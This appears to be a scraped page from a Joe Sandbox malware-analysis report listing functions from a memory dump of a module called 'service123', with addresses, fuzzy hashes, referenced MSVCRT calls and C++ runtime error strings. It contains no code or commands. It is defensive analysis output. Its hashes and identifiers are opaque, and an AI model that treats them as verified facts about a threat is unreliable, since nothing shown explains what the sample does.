Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 2aefd6a319a35651c6493a2199ecbef28ba8751756772ac99a5cf7543a9efb2f
Instruction ID: e7636d7bdcf058a91fbb72ab813c3e28a059a3a07503acea271a0b27c3c152c2
Opcode Fuzzy Hash: 2aefd6a319a35651c6493a2199ecbef28ba8751756772ac99a5cf7543a9efb2f
Instruction Fuzzy Hash: 4B1163B19163148FCB20AF2CD28485BBBF4BF55218F42497DE8C4AB311D331E958CB92

Function 6C7CA5F0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C7CA60D
wcslen.MSVCRT ref: 6C7CA65D

Strings

basic_string: construction from null is not valid, xrefs: 6C7CA630, 6C7CA680

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 2aefd6a319a35651c6493a2199ecbef28ba8751756772ac99a5cf7543a9efb2f
Instruction ID: 1894b82a4b032503dcc17d70f21f618d2405c08649c73ecbd41186ca1ea77236
Opcode Fuzzy Hash: 2aefd6a319a35651c6493a2199ecbef28ba8751756772ac99a5cf7543a9efb2f
Instruction Fuzzy Hash: ED1163B19167148FCB20AF2CD28485BBBF4AF55218F42487DE8C4AB311D331E959CB92

Function 6C7D98F0 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 1123COMMON

Download Yara Rule

Strings

-, xrefs: 6C7DA30E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 6d36ea7bb731a48a8630b55ddeb3525fdc6efb3a7999d013eb645a17d5850558
Instruction ID: 3c11792be5a772b6528498d0d0df4f574ffaad9dfb4e461e813e4a8e2903e065
Opcode Fuzzy Hash: 6d36ea7bb731a48a8630b55ddeb3525fdc6efb3a7999d013eb645a17d5850558
Instruction Fuzzy Hash: A9A2A031A043558FDB10CF69C69078DBBF2BF56324F2A8668D869AB692D730EC45CF50

Function 6C7D87C0 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 1122COMMON

Download Yara Rule

Strings

-, xrefs: 6C7D91DE

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 2114680d5d3c3e35d2f126a2dd901ce29040e6037e64deb307a9e7946b668633
Instruction ID: 59c0b9bb0211a983b3f6080e6697281c8ad0d044b4f75d2cf0132fb8dc74075f
Opcode Fuzzy Hash: 2114680d5d3c3e35d2f126a2dd901ce29040e6037e64deb307a9e7946b668633
Instruction Fuzzy Hash: DBA2A170A043558FDB10CF69C69078DBBF2BF55324F2A86A9D865AF692C730EC45CB90

Function 6C813690 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

basic_string::_S_construct null not valid, xrefs: 6C813710

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_S_construct null not valid
API String ID: 0-290684606
Opcode ID: 5bac593ff5e5cba1d7cf9be86ff0a58df0b8beae6a02d4059ccb15169fe095c3
Instruction ID: 7c3d3b270430d8a0145c6c912f47febe1160a0f8e73122b0552333d21f9287c8
Opcode Fuzzy Hash: 5bac593ff5e5cba1d7cf9be86ff0a58df0b8beae6a02d4059ccb15169fe095c3
Instruction Fuzzy Hash: 1E01BCB150D3469BC3206F6EC28461BFFE4AF92228F948C2EE4C847B11D335D848CB62

Function 6C7CA970 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C7CA98D

Strings

basic_string: construction from null is not valid, xrefs: 6C7CA9B0

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 7abfe121eff4cdeff8adfc3b4d7d2ff2b5686e883752e3587fc64c2afe90df3a
Instruction ID: 52f46e5aefad7f284ae5ff95ba6c24b5b68b72f0c366f6e588cd9ff6ae64e40e
Opcode Fuzzy Hash: 7abfe121eff4cdeff8adfc3b4d7d2ff2b5686e883752e3587fc64c2afe90df3a
Instruction Fuzzy Hash: D3F054B19153148FCB10EF2CD18485AB7F4BF55318F42486DD8C49B711D731E949CB96

Function 6C7CA580 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C7CA59D

Strings

basic_string: construction from null is not valid, xrefs: 6C7CA5C0

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 7abfe121eff4cdeff8adfc3b4d7d2ff2b5686e883752e3587fc64c2afe90df3a
Instruction ID: bc0aec5d735fc0cb49335f712892111ce26112e012dd9541029f1464315343ba
Opcode Fuzzy Hash: 7abfe121eff4cdeff8adfc3b4d7d2ff2b5686e883752e3587fc64c2afe90df3a
Instruction Fuzzy Hash: 12F05EB1A163148FCB10EF2CD18485AB7F4BF55318F4248ADE884AB715E332E949CB92

Function 6C7CC510 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

basic_string::substr, xrefs: 6C7CC568
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C7CC570

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: bb8389f219cf6be14413d949bb684d532bc2262bbe79d93a8c71b4ac3d45f051
Instruction ID: dd1c42f828fd993e9bfccd9f35f9f0d02cc98a711ec67f117bd3c88f3a9d3fa0
Opcode Fuzzy Hash: bb8389f219cf6be14413d949bb684d532bc2262bbe79d93a8c71b4ac3d45f051
Instruction Fuzzy Hash: E9017CB16082108BC704DF2DD58095AFBF1ABC9704F548DADE088D7711D731D849CB86

Function 6C7C0740 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C7C07A0
basic_string::substr, xrefs: 6C7C0798

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: 8ee54599bc82bab157595887c89299a2392ff46113146eab8b3f15942795766c
Instruction ID: 159e71bd6f2229c1d10e459927c99d1cb7c6b307f7f717feaecb63dbd08f37dc
Opcode Fuzzy Hash: 8ee54599bc82bab157595887c89299a2392ff46113146eab8b3f15942795766c
Instruction Fuzzy Hash: BB0146B2A0A3019FD718CF2AD981A9FFBE1ABC9350F009D2DE488C7700C234D8448B93

Function 6C7E46E0 Relevance: 2.1, APIs: 1, Instructions: 873COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ee03991b23330b7e0d79e774b15d3949503b064f617a88b1e07763266cd3c76
Instruction ID: 8d450b50e7bede7d498cabbb4702514fd9fc6c10f9f88263b84311bcef4864bd
Opcode Fuzzy Hash: 2ee03991b23330b7e0d79e774b15d3949503b064f617a88b1e07763266cd3c76
Instruction Fuzzy Hash: B482A072E042988FDB10CFE9C68078DBBF1AF49324F198669D865AF796C3349C45DB81

Function 6C7E2CCE Relevance: 2.1, APIs: 1, Instructions: 811COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb6c0f6409bae10d53b08ad210e275bb949788db73595848abb887ded30807ca
Instruction ID: b27f92c350017ece0482317eb2ac8bbd8ec6ad352f42774fa0f05dc318f6e9d8
Opcode Fuzzy Hash: cb6c0f6409bae10d53b08ad210e275bb949788db73595848abb887ded30807ca
Instruction Fuzzy Hash: DE72BF71A08399CFDB11CFB8C68479DBBF1BF0A314F188669D4A5ABBA1D3349845CB41

Function 6C7E140E Relevance: 2.1, APIs: 1, Instructions: 811COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2b7f21c94dc8450dedcf66057c5f06a9301acbe3af389bff0792d164a89d4c1
Instruction ID: ba1ecdb5285c631aea2ad7c54a04e090b5ef9c17889127d9a73778cb108c4422
Opcode Fuzzy Hash: f2b7f21c94dc8450dedcf66057c5f06a9301acbe3af389bff0792d164a89d4c1
Instruction Fuzzy Hash: 3972AF71E09298CFCB10CFA9C68579DBBF1BF0A314F188669D4A5ABB92D334D845CB41

Function 6C7E2090 Relevance: 2.0, APIs: 1, Instructions: 790COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 466165a8fe85ac16dc39b22f2795a46ca044a8f36fa0e4d4a59a668270916d55
Instruction ID: e5fc41fddd1b9ecdae3a78e3825f927f8e0be6b4f1cc120a69e7b141dffd2982
Opcode Fuzzy Hash: 466165a8fe85ac16dc39b22f2795a46ca044a8f36fa0e4d4a59a668270916d55
Instruction Fuzzy Hash: 3372B071E0839ACFDB14CFA8C68878DBBF1BF0A314F188659D4A5AB791D3749845CB41

Function 6C7E07D0 Relevance: 2.0, APIs: 1, Instructions: 789COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b68669445ddba4fa8b2bc4a4b0ca09443be09caab2351c2f20c8c9c4ffde2876
Instruction ID: 499458888f75a86ac348e21ba1709a235b91db190f3eda8b840cede413de9e79
Opcode Fuzzy Hash: b68669445ddba4fa8b2bc4a4b0ca09443be09caab2351c2f20c8c9c4ffde2876
Instruction Fuzzy Hash: A7726D71E09398CFDB10CFA8C68478DBBF1BF09314F188669D4A5AB792DB34A845DB41

Function 6C7CF760 Relevance: 2.0, APIs: 1, Instructions: 770stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7CF8B3

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 02536fe0dc21b9028167fedf7d8b1be13a2a62232735f22815451683cd99e0c3
Instruction ID: 1fcda053a33b1a0536f674bf7e20af99eacff00767271b8fe2f47c7022f75da5
Opcode Fuzzy Hash: 02536fe0dc21b9028167fedf7d8b1be13a2a62232735f22815451683cd99e0c3
Instruction Fuzzy Hash: 4B724974B04259CFCB04CFA8C19469DBBF2BF49314F288669E865AB762D731AC41CF52

Function 6C7E7A20 Relevance: 1.9, APIs: 1, Instructions: 678COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 682a55d32082a45a4a79ce3ff5b807fee5accf31e2b3e197bd5951b376caf370
Instruction ID: 34b01458c7b3e9ec9c679cebc033ff2db592b09eb34e9acd7153480091eade2a
Opcode Fuzzy Hash: 682a55d32082a45a4a79ce3ff5b807fee5accf31e2b3e197bd5951b376caf370
Instruction Fuzzy Hash: 2252C372A042489FDB00CF6CD68479DBFF1AF49328F28866AE464AF792D335D845CB51

Function 6C7D2360 Relevance: 1.6, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff6372ef0a9251d138f0073624f0ea2ae09fccbdc705b561bfa349615f81e9fa
Instruction ID: e62ad4c257b862044648007211ae562eea9bf5cb8fb5cfb8bf87dfa0b1b60b8d
Opcode Fuzzy Hash: ff6372ef0a9251d138f0073624f0ea2ae09fccbdc705b561bfa349615f81e9fa
Instruction Fuzzy Hash: 83E17975E052598FCB11CFA8C68468DBBF1BF49324F198265E865A7792D334EC42CF60

Function 6C7FDC70 Relevance: 1.6, APIs: 1, Instructions: 328COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddce1dec344faf4ac185e2707990aaa8d0d8670dbd329984dcfd35d468b9a667
Instruction ID: 294b8d2d77566d7dbede1431d11c65de350fe4d0d3000efda08c435ac3c4e8cb
Opcode Fuzzy Hash: ddce1dec344faf4ac185e2707990aaa8d0d8670dbd329984dcfd35d468b9a667
Instruction Fuzzy Hash: AFD16D71A042598FCB00CF68C5C46CDBBF1BF59324F688269E875AB791D335E942CBA4

Function 6C7F9B60 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

, xrefs: 6C7F9BF8

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 91ec3581126346a9972c35dd2715b4aa813fc35a7c3adfb0c88518dc82aa8769
Instruction ID: 2d9c95b4872144a805b3a7f215cc8f083e364b6566ead98da6bdc5a796bbd86e
Opcode Fuzzy Hash: 91ec3581126346a9972c35dd2715b4aa813fc35a7c3adfb0c88518dc82aa8769
Instruction Fuzzy Hash: AD214C71A043048FCB14EF79CAC89AAB7F5AB99308F159939E8448B705D734D94ACBD2

Function 6C7BEB10 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

__gnu_cxx::__concurrence_lock_error, xrefs: 6C7BEB50

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

